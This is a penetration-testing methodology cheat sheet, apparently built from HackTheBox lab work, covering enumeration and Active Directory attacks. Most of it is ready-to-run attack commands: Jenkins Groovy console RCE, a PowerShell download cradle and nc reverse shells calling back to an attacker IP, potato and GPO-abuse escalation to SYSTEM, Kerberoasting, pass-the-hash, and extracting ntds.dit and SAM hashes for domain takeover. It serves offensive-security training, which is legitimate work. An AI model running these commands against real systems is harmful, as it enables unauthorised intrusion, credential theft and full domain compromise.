Methodology
Flow at a glance¶
- 1) Recon baseline -> open ports and services (note clock skew for Kerberos)
- 2) Branch: Web or AD quickstart based on exposure
- 3) Validate creds (SMB/WinRM/FTP/MSSQL/SSH with Kerberos if needed)
- 4) Pivot via creds, files, or ACLs (check hidden files & Recycle Bin)
- 5) Escalate (Kerberoast, DCSync, AD CS, GPO abuse via WriteGPLink)
- 6) Post-foothold triage and proof
- 7) Evidence capture and timeline notes
Decision triggers¶
- If LDAP/Kerberos/SMB exposed -> run AD quickstart
- If HTTP/HTTPS exposed -> run web enum
- If Jetty/Tomcat/Java app server found -> check for Jenkins, try
/manager,/script, box-name-based paths - If Jenkins found -> check
/script(Groovy console),/manage,/credentials(often unauthenticated!) - If you get any creds -> validate (SMB/WinRM/FTP/MSSQL)
- If KRB_AP_ERR_SKEW error -> sync time to DC (check nmap clock skew)
- If NTLM disabled or SSH on Windows -> use Kerberos auth workflow
- If AD present -> collect BloodHound to find pivot paths
- If WriteGPLink permission found in BloodHound -> GPO abuse for SYSTEM
- If vaults/files found -> crack and re-validate creds (KeePass .kdbx, Password Safe .psafe3)
- If config files found -> check for base64-encoded passwords
- If Windows shell obtained -> check hidden files, Recycle Bin, and Alternate Data Streams
- If NTLM hash obtained -> pass-the-hash with impacket-psexec (hash = password)
- If SeImpersonatePrivilege -> JuicyPotato/PrintSpoofer/RoguePotato for SYSTEM
- If SeBackupPrivilege (Backup Operators) -> diskshadow + robocopy /b → ntds.dit → secretsdump → Domain Admin
- If Linux box, no sudo, no SUID → run
ss -tlnpto find internal services (127.0.0.1) - If internal web service found → SSH port forwarding (
-L) to access from Kali - If web app has file path parameter → test path traversal AND command injection (
;id,|id) - If reverse shell keeps dying → use
--norc --noprofileor pivot to SSH key injection - If flat-file CMS (PHP + no DB port + data/themes/plugins dirs) → check WonderCMS, Grav, Bludit
- If Whitelabel Error Page → Spring Boot → check
/actuatorendpoints (sessions, env, mappings) - If
/actuator/sessionsexposed → steal JSESSIONID for session hijacking (no password needed) - If web form passes input to shell command → command injection (check for whitespace filter →
${IFS}bypass) - If command injection but
Bad fd number→ server is sh/dash, usebash -cexplicitly for/dev/tcp/ - If Spring Boot JAR on box →
unzip+grep -R password→application.propertiesoften has DB creds - If
sudo -lshows(root) /usr/bin/ssh *→ GTFOBins:sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x - If web app DB creds found → dump tables → crack hashes → try password reuse on system users via SSH
Output files[]¶
- Use
nmap -oA nmap/<name>andffuf -o ffuf/<name>.jsonfor clean artifacts - Use
cmd.logas the timeline spine; useout.logonly for evidence snippets - Keep loot and evidence in
loot/andevidence/
Recon baseline¶
Command
- ping <IP> or nc -vz <IP> 80 if ICMP is blocked
- nmap -p- --min-rate=3000 -Pn -oN nmap/OpenPorts.txt <IP>
- ports=$(awk '/^[0-9]+\/tcp/ {print $1}' nmap/OpenPorts.txt | cut -d/ -f1 | paste -sd,)
- nmap -p$ports -sSCV --min-rate=2000 -Pn -oN nmap/ServicesVersions.txt <IP>
- dig @<IP> any <domain> or attempt zone transfer if DNS is exposed
Why - Establish reachability and discover all TCP services - Run scripts and version detection only on open ports - Identify DNS records and potential zone transfers
Flags/Notes
- -p-: all TCP ports
- --min-rate: speed up scan
- -Pn: skip host discovery
- -oN: save normal output to file
- -sS: SYN scan, -sC: default scripts, -sV: version detection
Web (80/443)¶
Command
- ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://<IP>/FUZZ -e .php,.txt -t 20
- gobuster dir -u http://<host> -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt -t 20
Why - Find hidden files, directories, and backups
Flags/Notes
- -w: wordlist
- -u: target URL with FUZZ
- -e: extensions
- -t: threads
- If standard wordlists find nothing, try box-name-based guessing (e.g., "Jeeves" → /askjeeves/)
- Check non-standard ports too (50000, 8080, 8443, etc.)
- CMS identification: directory structure can fingerprint the CMS:
- data/, messages/, plugins/, themes/ + PHP + no DB = WonderCMS (flat-file)
- Check page source for author names → Google them → find CMS community pages
- searchsploit <cms_name> once identified
Jenkins Exploitation (Jetty/Java App Servers)¶
Command
# Check for Jenkins on common paths
for path in "askjeeves" "jenkins" "script" "manage" "j" "ci"; do
curl -s -o /dev/null -w "$path: %{http_code}\n" "http://<IP>:<PORT>/$path/"
done
# If Jenkins dashboard found, check critical endpoints
for path in "script" "manage" "credentials" "systemInfo" "configure"; do
curl -s -o /dev/null -w "$path: %{http_code}\n" "http://<IP>:<PORT>/<jenkins_path>/$path"
done
Why - Jenkins is often unauthenticated and has a built-in Groovy Script Console = instant RCE - Jetty (HTTP server) commonly hosts Jenkins
RCE via Script Console (/script)
# Execute OS commands (Windows)
def cmd = "cmd.exe /c whoami"
def process = cmd.execute()
println process.text
# Execute OS commands (Linux)
def cmd = "id"
def process = cmd.execute()
println process.text
Reverse Shell via Script Console (Windows)
# Download cradle - downloads and executes a PowerShell reverse shell
# Requires: nc listener on Kali + Nishang shell hosted via python HTTP server
Thread.start {
def cmd = """cmd.exe /c powershell IEX(New-Object Net.WebClient).downloadString('http://<KALI_IP>/shell.ps1')"""
cmd.execute()
}
Flags/Notes
- Thread.start { } prevents the Script Console page from hanging
- Groovy .execute() runs strings as OS commands (like Python's os.system())
- println prints output to the Script Console result area
- /script = Groovy console, /manage = admin panel, /credentials = stored creds
- Always check Jenkins version (footer) for known CVEs
Nishang Reverse Shell (Download Cradle Pattern)¶
Command
# Step 1: Copy and prepare Nishang reverse shell
cp /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 /tmp/shell.ps1
echo 'Invoke-PowerShellTcp -Reverse -IPAddress <KALI_IP> -Port <PORT>' >> /tmp/shell.ps1
# Step 2: Host it
cd /tmp && python3 -m http.server 80
# Step 3: Start listener
rlwrap nc -lvnp <PORT>
# Step 4: Trigger download from target (via Jenkins, RCE, etc.)
# Target runs: powershell IEX(New-Object Net.WebClient).downloadString('http://<KALI_IP>/shell.ps1')
Why
- Nishang scripts define functions but don't call them - must append the invoke line
- Download cradle avoids pasting 100+ lines into a web form
- IEX (Invoke-Expression) downloads the script as text and executes it in memory
Flags/Notes
- Nishang shells: /usr/share/nishang/Shells/ (pre-installed on Kali)
- Invoke-PowerShellTcp.ps1 = TCP reverse shell (most reliable, use this first)
- python3 -m http.server 80 = quick HTTP server to host payloads
- rlwrap nc -lvnp = listener with arrow key/history support
- Pattern: Host → Download → Execute in memory (nothing written to disk)
Active Directory quickstart¶
Command
- smbclient -N -L //<host>
- ldapsearch -x -H ldap://<host> -b "DC=...,DC=..."
- GetNPUsers.py <realm>/ -no-pass -usersfile users.txt -dc-ip <IP> -format hashcat
- mssqlclient.py <user>:<pass>@<host>
- nxc winrm <IP> -u <user> -p <pass>
Why - Enumerate shares, LDAP objects, and Kerberos roastable users - Validate credentials and service access
Flags/Notes
- -N: no auth, -L: list shares
- -x: simple bind, -H: LDAP URI, -b: base DN
- -no-pass: anonymous, -usersfile: user list, -format hashcat: crackable output
- Use <domain>/<user> for AD auth in MSSQL; omit domain for SQL auth
- nxc winrm -H for hashes, -k for Kerberos
Kerberos Authentication Workflow¶
Command
# Check for clock skew in nmap output (KRB_AP_ERR_SKEW = time sync issue)
# Sync time if DC has clock offset
sudo date --set="$(date -d '+X hours')" # Replace X with offset from nmap
# Generate krb5.conf
nxc smb <dc-hostname> -u <user> -p '<pass>' --generate-krb5-file ./krb5.conf
sudo cp ./krb5.conf /etc/krb5.conf
# Get Ticket Granting Ticket (TGT)
impacket-getTGT <domain>/<user>:'<pass>' -dc-ip <IP>
# Export ticket path
export KRB5CCNAME=~/path/to/<user>.ccache
# Verify ticket
klist
# SSH with Kerberos (if Windows OpenSSH available)
ssh -K <user>@<dc-hostname>
# Use Kerberos with other tools
impacket-smbclient -k -no-pass <domain>/<user>@<dc-hostname>
evil-winrm -i <IP> -r <realm> -u <user> -k
Why - Kerberos auth required when NTLM is disabled or restricted - Enables passwordless auth after TGT acquisition - Required for Windows SSH with GSSAPI
Flags/Notes
- KRB_AP_ERR_SKEW error = clock skew > 5 minutes; must sync time to DC
- --generate-krb5-file creates proper realm/KDC configuration
- TGT valid for ~10 hours (renewable)
- -K flag enables GSSAPI (Kerberos) for SSH
- KRB5CCNAME environment variable points to credential cache
- Kerberos requires proper DNS resolution (/etc/hosts or DNS)
AD pivot chain¶
Command
- bloodhound-python -c ALL -u <user> -p '<pass>' -d <domain> -ns <dc-ip>
- net user <target> <NewPass123!>
- net rpc password "<target>" '<NewPass123!>' -U "<domain>/<user>"%'<pass>' -S "<dc-ip>"
- nxc ftp <dc-ip> -u <user> -p '<pass>' --ls
- nxc ftp <dc-ip> -u <user> -p '<pass>' --get <file>
- hashcat -m 5200 <vault>.psafe3 /usr/share/wordlists/rockyou.txt --force
- ./targetedKerberoast.py -v -d '<domain>' -u '<user>' -p '<pass>' --use-ldaps
- hashcat <user>.hash /usr/share/wordlists/rockyou.txt --force
- secretsdump.py '<domain>/<user>:<pass>@<dc-host>'
Why - Use ACLs and creds to pivot users - Pull sensitive files and crack vaults - Kerberoast/DCSync for higher-priv access
Flags/Notes
- -c ALL: full BloodHound collection
- net user on a DC resets domain user passwords (requires object control)
- net rpc password performs SMB RPC reset when local syntax fails
- --ls list and --get download in NetExec FTP
- -m 5200: Password Safe v3
- --use-ldaps: use LDAPS 636
- DCSync returns NTLM hashes for domain accounts
MSSQL playbook¶
Command
- impacket-mssqlclient <domain>/<user>:<pass>@<IP>
- SELECT name FROM master.sys.databases;
- xp_dirtree '\\<attacker_ip>\share'
- xp_readerrorlog 0,1,N'Login failed';
- EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
Why - Enumerate DBs and coerce hashes - Mine logs for leaked creds - Enable command execution if needed
Flags/Notes
- Use <domain>/ for AD auth; drop domain for SQL auth
- xp_dirtree forces SMB auth to capture NetNTLMv2
- xp_readerrorlog indexes the error log and searches a term
Credential discovery pivot¶
Command
- Check SQL error logs, LDAP description fields, and SMB shares
- Crack NetNTLMv2 with hashcat mode 5600
- PTH with evil-winrm / nxc smb --hashes / psexec
Why - Convert passive intel into new authenticated access
Flags/Notes - Always re-validate creds on SMB/WinRM/FTP
KeePass Database Cracking¶
Command
# Extract hash from .kdbx file
keepass2john <file>.kdbx > keepass.hash
# Crack with john
john keepass.hash --wordlist=/usr/share/wordlists/rockyou.txt
# Or crack with hashcat (mode 13400)
hashcat -m 13400 keepass.hash /usr/share/wordlists/rockyou.txt --force
# Open the database after cracking
kpcli --kdb <file>.kdbx
# Enter cracked master password when prompted
Why - KeePass databases (.kdbx) store passwords, hashes, SSH keys, and notes - Often found in user Documents folders on Windows targets - May contain admin credentials, NTLM hashes, or access to internal services
Flags/Notes
- keepass2john extracts the master password hash in john-crackable format
- hashcat mode 13400 = KeePass 1/2 databases
- kpcli = command-line KeePass client (alternatives: KeePassXC GUI on Kali)
- Check ALL entries - titles like "Backup stuff" or "DC Recovery" often hide the real prize
- Entries may contain NTLM hashes (format: aad3b435b51404ee...:e0fb1fb85756c24...) instead of plaintext passwords
- File transfer: Use impacket-smbserver share . -smb2support on Kali, then copy file \\<IP>\share\ from target
Pass-the-Hash (PTH)¶
Command
# SYSTEM shell via psexec (uploads service binary, runs as SYSTEM)
impacket-psexec administrator@<IP> -hashes aad3b435b51404eeaad3b435b51404ee:<NT_HASH>
# WinRM shell (if WinRM is open, port 5985)
evil-winrm -i <IP> -u administrator -H '<NT_HASH>'
# SMB validation (quick check if hash works)
nxc smb <IP> -u administrator -H '<NT_HASH>'
# SMB with full LM:NT format
nxc smb <IP> -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:<NT_HASH>'
Why - Windows auth uses the NT hash internally - having the hash IS having the password - No need to crack the hash to plaintext - use it directly - impacket-psexec gives SYSTEM (not just admin) because it creates a Windows service
Flags/Notes
- NTLM hash format: LM_HASH:NT_HASH
- aad3b435b51404eeaad3b435b51404ee = empty LM hash (LM disabled, normal on modern Windows)
- The NT hash is the part after the colon - that's what matters
- psexec = SYSTEM shell (best for privesc), requires writable ADMIN$ share
- evil-winrm = admin shell (interactive PowerShell), requires WinRM port 5985
- nxc = quick validation, no interactive shell
- Common hash sources: KeePass databases, secretsdump, SAM dumps, Mimikatz
GPO Abuse (WriteGPLink Privilege Escalation)¶
Command (PowerShell on Windows target)
# Verify WriteGPLink permission (check BloodHound first)
# User must have WriteGPLink over domain or OU
# Method 1: SharpGPOAbuse (Scheduled Task to add user to Domain Admins)
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "AddDA" --Author DOMAIN\Administrator --Command "cmd.exe" --Arguments "/c net group 'Domain Admins' <user> /add /domain" --GPOName "EvilGPO"
# Method 2: Manual GPO Creation + SharpGPOAbuse (Reverse Shell as SYSTEM)
# Step 1: Create new GPO
New-GPO -name "EvilGPO"
# Step 2: Link GPO to domain root (applies to ALL computers including DCs)
New-GPLink -Name "EvilGPO" -target "DC=domain,DC=tld"
# Step 3: Generate reverse shell payload (use revshells.com)
# PowerShell #3 (Base64), encode to base64
# Step 4: Inject malicious scheduled task with SharpGPOAbuse
.\SharpGPOAbuse.exe --addcomputertask --GPOName "EvilGPO" --Author "admin" --TaskName "RevShell" --Command "powershell.exe" --Arguments "powershell -e <base64_payload>"
# Step 5: Force GPO update (speeds up propagation)
gpupdate /force
# Wait 1-2 minutes for GPO to apply on DC
# Catch reverse shell on attacker machine (nc -lnvp <port>)
Why - WriteGPLink permission allows linking GPOs to Organizational Units - GPOs linked to domain root apply to ALL domain computers (including DCs) - Scheduled tasks in GPOs execute as NT AUTHORITY\SYSTEM - Direct path to Domain Admin or SYSTEM shell
Flags/Notes
- Check BloodHound for WriteGPLink edges (not shown by whoami /all)
- Group Policy Creator Owners membership does NOT automatically grant WriteGPLink
- --AddComputerTask = creates immediate scheduled task (runs on next GPO refresh)
- GPO refresh interval: 90-120 seconds (or use gpupdate /force)
- Alternative targets: DC=domain,DC=tld (domain root) or OU=Domain Controllers,DC=domain,DC=tld
- SharpGPOAbuse alternatives: PowerView's New-GPOImmediateTask, manual SYSVOL modification
- Non-destructive option: Use bloodyAD or SharpGPOAbuse to add user to local Administrators instead of Domain Admins
Transfer SharpGPOAbuse.exe:
# On Kali
cd /path/to/tools
python3 -m http.server 8080
# On Windows (PowerShell)
Invoke-WebRequest -Uri "http://<attacker-ip>:8080/SharpGPOAbuse.exe" -OutFile "SharpGPOAbuse.exe"
AD CS (ESC1) abuse¶
Command
- certipy find -dc-ip <IP> -u <user> -p <pass> -enabled -vulnerable
- certipy req -dc-ip <IP> -u <user> -p '<pass>' -ca <CA> -template <Template> -upn administrator@<domain> -dns <dc> -outfile administrator
- certipy auth -pfx administrator.pfx -dc-ip <IP>
- KRB5CCNAME=administrator.ccache evil-winrm -i <IP> -r <realm> -u administrator -k
Why - Identify misconfigured templates and authenticate as higher-priv users
Flags/Notes
- -enabled: active templates only
- -vulnerable: highlight ESC paths
- -upn: spoofed principal
- -k: Kerberos auth; KRB5CCNAME points to ticket cache
Post-foothold triage¶
Command
- whoami /groups, whoami /priv, hostname, ipconfig /all
- Check C:\Users\<user>\Desktop, C:\Users\Public, scheduled tasks/services
- dir /s /b C:\Users\<user>\Documents - look for KeePass (.kdbx), config files, scripts
Why - Confirm privileges and identify quick-win loot
Flags/Notes
- If lateral movement is needed, validate WinRM/SMB reachability to other hosts
- Check whoami /priv immediately - SeImpersonatePrivilege = easy SYSTEM
- Look for credential stores: KeePass (.kdbx), Password Safe (.psafe3), browser data
Windows Privilege Escalation - SeImpersonatePrivilege¶
Command
# Check for the privilege
whoami /priv
# Look for: SeImpersonatePrivilege Enabled
# JuicyPotato (Windows 10 build ≤ 10586, Server 2016 and earlier)
# Transfer JuicyPotato.exe to target
JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c C:\path\to\nc.exe <KALI_IP> <PORT> -e cmd.exe" -t *
# PrintSpoofer (Windows 10, Server 2016/2019)
PrintSpoofer.exe -i -c cmd
# RoguePotato (when JuicyPotato is blocked)
RoguePotato.exe -r <KALI_IP> -e "C:\path\to\nc.exe <KALI_IP> <PORT> -e cmd.exe" -l 9999
Why - SeImpersonatePrivilege allows impersonating tokens from other processes - Service accounts (IIS, Jenkins, MSSQL) commonly have this privilege - Potato exploits abuse Windows COM/DCOM to get a SYSTEM token, then impersonate it
Flags/Notes - JuicyPotato = classic, most reliable on older Windows (needs valid CLSID) - PrintSpoofer = newer, simpler, works on Server 2019 (abuses print spooler) - RoguePotato = works when JuicyPotato is patched/blocked - Alternative path: If you find admin NTLM hash (KeePass, SAM dump), pass-the-hash with psexec may be faster than potato exploits - Common on: Jenkins, IIS, MSSQL service accounts
Windows Privilege Escalation - Backup Operators (SeBackupPrivilege)¶
Command
# Check for the privilege
whoami /priv
# Look for: SeBackupPrivilege Enabled
# SeRestorePrivilege Enabled
# Check group membership
whoami /groups
# Look for: BUILTIN\Backup Operators
Why
- Backup Operators group grants SeBackupPrivilege and SeRestorePrivilege
- SeBackupPrivilege = read ANY file on the system, bypassing NTFS ACLs
- The goal: extract ntds.dit (all domain hashes) + SYSTEM hive (decryption key)
- ntds.dit is locked by Active Directory — can't just copy it. Need a shadow copy.
Step 1: Extract SAM + SYSTEM registry hives
reg save HKLM\SAM C:\Users\Public\SAM
reg save HKLM\SYSTEM C:\Users\Public\SYSTEM
download or SMB
- pypykatz registry --sam SAM SYSTEM → extracts LOCAL account hashes only
- Note: Local admin hash ≠ domain admin hash. SAM only has local accounts.
Step 2: Create diskshadow script on Kali
# Create the script (MUST use unix2dos for Windows CRLF line endings!)
cat << 'EOF' > backup
set context persistent nowriters
add volume c: alias yourShadow
create
expose %yourShadow% e:
EOF
unix2dos backup
Flags/Notes (diskshadow script)
- set context persistent nowriters = shadow copy persists after diskshadow exits, skip VSS writers (faster)
- add volume c: alias yourShadow = target C: drive, name the shadow "yourShadow"
- create = create the Volume Shadow Copy (frozen snapshot of the entire C: drive)
- expose %yourShadow% e: = mount the shadow copy as drive E: so you can browse it
- unix2dos is critical — diskshadow silently fails on Unix line endings (LF vs CRLF)
Step 3: Upload and run diskshadow
# Upload script via evil-winrm
upload backup C:\Users\Public\backup
# Run in script mode (interactive mode fails in evil-winrm — "The pipe has been ended")
diskshadow /s C:\Users\Public\backup
Flags/Notes
- /s = script mode (reads commands from file instead of interactive prompt)
- Interactive diskshadow fails in evil-winrm due to pipe limitations
- Output shows: "Shadow copy ID", "Shadow copy set ID", "Number of shadow copies exposed: 1"
Step 4: Robocopy ntds.dit from shadow copy
robocopy /b e:\Windows\ntds . ntds.dit
Flags/Notes
- /b = backup mode — this is the key flag that activates SeBackupPrivilege
- Without /b, you get "Access Denied" even with the privilege enabled
- e:\Windows\ntds = source path on the shadow copy (exposed as E:)
- . = destination (current directory)
- ntds.dit = specific file to copy (the AD database)
- Regular copy and xcopy do NOT activate SeBackupPrivilege — only robocopy /b does
Step 5: Download and extract hashes
# Download ntds.dit and SYSTEM from target (evil-winrm)
download ntds.dit
download C:\Users\Public\SYSTEM
# Extract ALL domain hashes
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
Flags/Notes
- -ntds = path to ntds.dit file (the AD database)
- -system = path to SYSTEM registry hive (contains the boot key for decryption)
- LOCAL = offline extraction (not connecting to a remote host)
- Output: Every domain user's NT hash in user:RID:LM:NT::: format
- Includes: Administrator, krbtgt (Golden Ticket material), all domain users, machine accounts
Step 6: Pass-the-Hash as Domain Administrator
evil-winrm -i <IP> -u Administrator -H '<DOMAIN_ADMIN_NT_HASH>'
Flags/Notes
- -H (uppercase) = NT hash authentication. Not -h (lowercase = help!)
- Use the domain Administrator hash from ntds.dit, NOT the local admin hash from SAM
- nxc smb <IP> -u Administrator -H '<HASH>' to validate first (look for (Pwn3d!))
Decision tree
whoami /priv shows SeBackupPrivilege?
├── YES → Backup Operators privesc path
│ ├── reg save SAM + SYSTEM → pypykatz → local hashes only
│ ├── diskshadow shadow copy → robocopy /b ntds.dit
│ └── secretsdump ntds.dit + SYSTEM → ALL domain hashes → PtH as Admin
└── NO → Check other privileges (SeImpersonate, etc.)
Common mistakes
- Forgetting unix2dos on the diskshadow script (silent failure)
- Using interactive diskshadow in evil-winrm (pipe error — use /s script mode)
- Using copy instead of robocopy /b (Access Denied — SeBackupPrivilege not activated)
- Confusing local admin hash (SAM) with domain admin hash (ntds.dit)
- Using -h instead of -H for hash auth in evil-winrm/nxc (lowercase = help flag)
Learned from: HTB Baby (Backup Operators → shadow copy → ntds.dit → Domain Admin)
Windows Hidden File Enumeration¶
Command (PowerShell)
# View hidden files and directories
Get-ChildItem -Force
Get-ChildItem -Path C:\ -Force
# Recursively search for hidden files
Get-ChildItem -Path C:\Users\<user> -Recurse -Force -ErrorAction SilentlyContinue
# Filter only hidden files
Get-ChildItem -Recurse -Force | Where-Object {$_.Attributes -match "Hidden"}
# Check PowerShell command history (credentials often leak here!)
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
# Enumerate Recycle Bin (deleted files)
Get-ChildItem -Path C:\$RECYCLE.BIN -Recurse -Force
# Read metadata from $I files (shows original path/filename)
Format-Hex 'C:\$RECYCLE.BIN\{SID}\$I...'
# Common hidden file locations
Get-ChildItem -Force C:\Users\<user>\AppData\Roaming
Get-ChildItem -Force C:\Users\<user>\AppData\Local
Get-ChildItem -Force C:\Users\<user>\Desktop
Get-ChildItem -Force C:\ProgramData
Why - Hidden files often contain credentials, config files, or sensitive data - Recycle Bin may have deleted archives, scripts, or credential stores - PowerShell history frequently contains plaintext passwords
Flags/Notes
- -Force = show hidden, system, and other normally hidden files
- Mode column: d--hs = Directory, Hidden, System
- Position 1: d = directory, - = file
- Position 4: h = hidden
- Position 5: s = system
- Recycle Bin structure:
- C:\$RECYCLE.BIN\{USER-SID}\
- $I files = metadata (148 bytes, contains original path/filename)
- $R files = actual deleted content (recover these!)
- Format-Hex reveals Unicode strings in binary metadata files
- No naming convention for hidden files in Windows (unlike Linux .files)
- Files are hidden via attributes, not filename patterns
Alternate Data Streams (ADS)¶
Command (CMD)
# Reveal alternate data streams on files in a directory
dir /R C:\Users\Administrator\Desktop
# Read an alternate data stream
more < filename.txt:hidden_stream:$DATA
# Example output of dir /R:
# hm.txt
# 34 hm.txt:root.txt:$DATA ← hidden stream!
Command (PowerShell)
# List all streams on a file
Get-Item -Path C:\path\to\file -Stream *
# Read a specific stream
Get-Content -Path C:\path\to\file -Stream <stream_name>
# Search recursively for files with ADS
Get-ChildItem -Recurse | ForEach-Object { Get-Item $_.FullName -Stream * } | Where-Object { $_.Stream -ne ':$DATA' }
Why
- NTFS Alternate Data Streams allow hiding data INSIDE a file
- Normal dir and type don't show or read ADS
- HTB/CTF boxes use ADS to hide flags (hint: "look deeper")
- Real-world malware uses ADS to hide payloads
Flags/Notes
- dir /R = only way to see ADS in cmd.exe
- type CANNOT read ADS - use more < with the full stream path
- ADS format: filename:streamname:$DATA
- :$DATA is the default (main) stream - other streams are hidden
- Always check ADS when a file says "look deeper" or flag seems missing
- Common on HTB boxes for hiding root flags
Base64 Decoding in Config Files¶
Command
# Identify base64 (look for = padding at end)
cat config.ini | grep '='
# Decode base64 strings
echo 'IXN1QmNpZ0BNZWhUZWQhUgo=' | base64 -d
# Decode from file
base64 -d encoded.txt > decoded.txt
Why - Config files often obfuscate passwords with base64 encoding - Common in WAPT, application configs, deployment scripts
Flags/Notes
- Base64 strings often end with = or == (padding)
- Not encryption, just encoding (easily reversible)
- Always check config files for: password, secret, key, token fields
File Transfer Methods¶
Linux to Windows¶
Method 1: Python HTTP Server + PowerShell Download (Most Reliable)
# On Kali (attacker)
cd /path/to/files
python3 -m http.server 8080
# On Windows (PowerShell)
Invoke-WebRequest -Uri "http://<attacker-ip>:8080/<file>" -OutFile "<file>"
# Short alias
iwr -Uri "http://<attacker-ip>:8080/<file>" -OutFile "<file>"
Method 2: SCP with Kerberos (requires Kerberos auth setup)
# From Kali to Windows (if TGT is active)
scp 'user@hostname:C:/$PATH/$TO/$FILE' ./local-file
# Windows path format: C:/ (forward slashes, not backslashes)
# Protect $ in filenames with single quotes
Method 3: certutil (Built-in Windows downloader)
# On Windows (CMD or PowerShell)
certutil -urlcache -f http://<attacker-ip>:8080/<file> C:\path\to\output
Method 4: SMB (requires admin access to C$)
# From Kali
impacket-smbclient <domain>/<user>:'<pass>'@<IP>
use C$
cd path\to\directory
put <local-file>
get <remote-file>
Windows to Linux¶
Method 1: SCP (with Kerberos or password auth)
# From Kali
scp 'user@hostname:C:/$PATH/$FILE' ./destination
# Works with active Kerberos TGT or password auth
Method 2: SMB Mount (as client)
# On Kali, share a directory
impacket-smbserver share /path/to/share -smb2support
# On Windows, copy to share
copy C:\path\to\file \\<attacker-ip>\share\
Method 3: Base64 Encoding (for small text files only)
# On Windows (PowerShell)
$content = Get-Content -Path "C:\path\to\file" -Raw
[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($content))
# Copy base64 output, paste on Kali
echo '<base64-string>' | base64 -d > file
Flags/Notes
- Avoid base64 for binaries (files >100KB become unwieldy)
- SCP Windows path format: C:/ (forward slashes), $ must be quoted
- Invoke-WebRequest is PowerShell's wget/curl equivalent
- certutil works on all Windows versions but may be flagged by AV
- Python HTTP server port 8080 (or any high port) to avoid permission issues
Kerberoasting — Decision Tree & Command Guide¶
When to Kerberoast¶
Decision Triggers:
- You have valid domain credentials (any authenticated user)
- You see SPNs (Service Principal Names) in domain — GetUserSPNs is your first check
- You're looking for crackable service account passwords
- BloodHound shows no direct ACL abuse paths (Kerberoasting is a "lateral movement via password cracking" fallback)
When NOT to Kerberoast: - You already have the hash or admin access (skip it) - No SPNs exist (quick to confirm — just run the check) - All SPNs are on machine accounts (SYSTEM@ SPNs are usually uncrackable)
Decision Flow¶
Do you have valid AD creds?
├── NO → Try AS-REP Roasting (pre-auth disabled users: GetNPUsers)
└── YES → Run GetUserSPNs
├── No SPNs found → Dead end, pursue other paths
├── SPNs on MACHINE accounts only → Usually uncrackable, skip
└── SPNs on USER accounts → Request TGS tickets → Crack offline
├── Cracked → New credential! Validate and pivot
└── Not cracked → Weak wordlist, try larger / different hash mode
Step 1: Sync Time (ALWAYS FIRST)¶
# Fix: disable the NTP service that keeps resetting your time
sudo systemctl stop systemd-timesyncd
sudo systemctl disable systemd-timesyncd
sudo ntpdate -s <DC_IP>
systemctl stop/disable= stops and prevents systemd-timesyncd from overwritingntpdate -s= silently sync your clock to the DC's time- Why: Kerberos requires client/server clocks within ±5 minutes (
KRB_AP_ERR_SKEW)
Step 2: List Kerberoastable Accounts¶
impacket-GetUserSPNs <domain>/<user>:'<pass>' -dc-ip <DC_IP>
<domain>/<user>:'<pass>'= your authenticated credentials (format:domain/user:pass)-dc-ip= IP of Domain Controller (must resolve Kerberos traffic)- No
-requestflag yet = lists SPNs without requesting tickets (fast recon)
What you'll see:
ServiceName SPN Name CipherType
---------- --- ---- ----------
SQL MSSQLSvc/db01.domain.com:1433 sql_svc RC4-HMAC
HTTP HTTP/web01.domain.com web_svc AES256-CTS-HMAC-SHA1-96
Interpretation:
- ServiceName = the service type
- SPN = the full principal name (service/host:port)
- Name = the user account backing this SPN — this is what you're attacking
- CipherType = RC4-HMAC (mode 13100) is faster to crack than AES256 (mode 19700)
Step 3: Request and Capture TGS Hashes¶
impacket-GetUserSPNs <domain>/<user>:'<pass>' -dc-ip <DC_IP> -request
-request= actually request TGS tickets (the crackable hashes)- Output:
$krb5tgs$23$*...strings — save these directly
Save output:
impacket-GetUserSPNs <domain>/<user>:'<pass>' -dc-ip <DC_IP> -request -output kerberoast_hashes.txt
-output= writes hashes to file for offline cracking
Step 3b: Targeted Kerberoast (attack one specific account)¶
python3 targetedKerberoast.py -d '<domain>' -u '<user>' -p '<pass>' --use-ldaps -t <target_user>
-d= domain name-u/-p= your credentials--use-ldaps= LDAPS (port 636) instead of LDAP — use when standard LDAP is blocked-t= specific target account (attack only one SPN)
Step 4: Crack Hashes Offline¶
# RC4 hashes (mode 13100) — most common, faster to crack
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt --force
# AES256 hashes (mode 19700) — slower
hashcat -m 19700 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt --force
-m 13100= Kerberos TGS-REP etype 23 (RC4)-m 19700= Kerberos TGS-REP etype 18 (AES256)--force= run even with performance warnings (fine for lab)
Cracked result:
$krb5tgs$23$*sql_svc*...:Password123!
: is the plaintext password
Step 5: Validate New Credentials¶
nxc smb <DC_IP> -u <cracked_user> -p '<cracked_pass>'
AS-REP Roasting (Kerberoast's Companion)¶
When: No valid creds yet, or looking for accounts with pre-auth disabled
# Anonymous — no creds needed
impacket-GetNPUsers <domain>/ -no-pass -dc-ip <DC_IP> -format hashcat
# With a user list
impacket-GetNPUsers <domain>/ -usersfile users.txt -dc-ip <DC_IP> -format hashcat
GetNPUsers= Get accounts with No Pre-auth (AS-REP Roasting)-usersfile= file with one username per line to check-no-pass= don't prompt for password (anonymous)-format hashcat= output in crackable format- Crack mode:
hashcat -m 18200
Impacket Suite — Tool Map & Decision Guide¶
Quick-Reference: Which Tool for Which Job¶
NEED TO... USE THIS TOOL
──────────────────────────────────────────────────────────
List Kerberoastable accounts? impacket-GetUserSPNs
Find pre-auth disabled accounts? impacket-GetNPUsers
Request Kerberos TGT? impacket-getTGT
Dump AD hashes (DCSync)? impacket-secretsdump
Connect to MSSQL? impacket-mssqlclient
Browse SMB shares? impacket-smbclient
Run commands on Windows? impacket-psexec
Change object ownership? impacket-owneredit
Modify ACL/DACL? impacket-dacledit
Relay NTLM auth? impacket-ntlmrelayx
